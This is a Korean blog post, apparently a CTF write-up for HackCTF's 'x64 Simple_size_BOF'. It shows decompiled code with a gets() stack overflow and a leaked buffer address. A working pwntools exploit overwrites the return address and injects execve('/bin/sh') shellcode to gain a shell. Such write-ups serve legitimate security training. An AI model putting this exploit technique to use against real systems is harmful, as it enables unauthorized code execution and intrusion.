본문 바로가기
시스템 해킹/CTF

[HackCTF] x64 Simple_size_BOF

by L3m0n S0ju 2021. 9. 13.

 

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[27952]; // [rsp+0h] [rbp-6D30h] BYREF

  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts(&s);
  printf("buf: %p\n", v4);
  gets(v4);
  return 0;
}

 

 


문제 코드는 위와 같다. main 함수의 ret을 바로 덮어씌우려고 했으나 aslr이 걸려있어서 매번 주소가 바뀌기 때문에 문제에서 주어진 buf 주소를 사용해야한다. buf주소를 받을 때 puts로 주소를 출력할 때는 8바이트 크기로 받았었는데 ㅣ번 문제에서는 printf로 주소를 출력해서 그런지 16바이트 크기로 받아야 주소를 받을 수 있다. 아마 16진수 2개가 1바이트가 아니라 문자열로 인식되서 0x까지 포함 14개의 char형으로 취급되어 16바이트로 계산해야한다. 익스플로잇 코드는 아래와 같다. ret에는 쉘코드의 주소를 ret+8에는 쉘코드를 삽입하여 쉘을 탈취할 수 있다.

 

 

 

 

 


 

#!/usr/bin/python


from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3005)
#shell=0x7fffffffe390
r.recvuntil("buf: ")
buf=int(r.recv(14),16)
print(hex(buf))

payload=b"A"*27960 + p64(buf+27968) + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

r.send(payload)
r.interactive()

 

 

 

 


플래그

'시스템 해킹 > CTF' 카테고리의 다른 글

[HackCTF] Offset  (0) 2021.09.14
[HackCTF] Simple_Overflow_ver_2  (0) 2021.09.13
[HackCTF] x64 Buffer Overflow  (0) 2021.09.13
[HackCTF] 내 버퍼가 흘러넘친다!!!  (0) 2021.09.12
[HackCTF] Basic_BOF #2  (0) 2021.09.12

댓글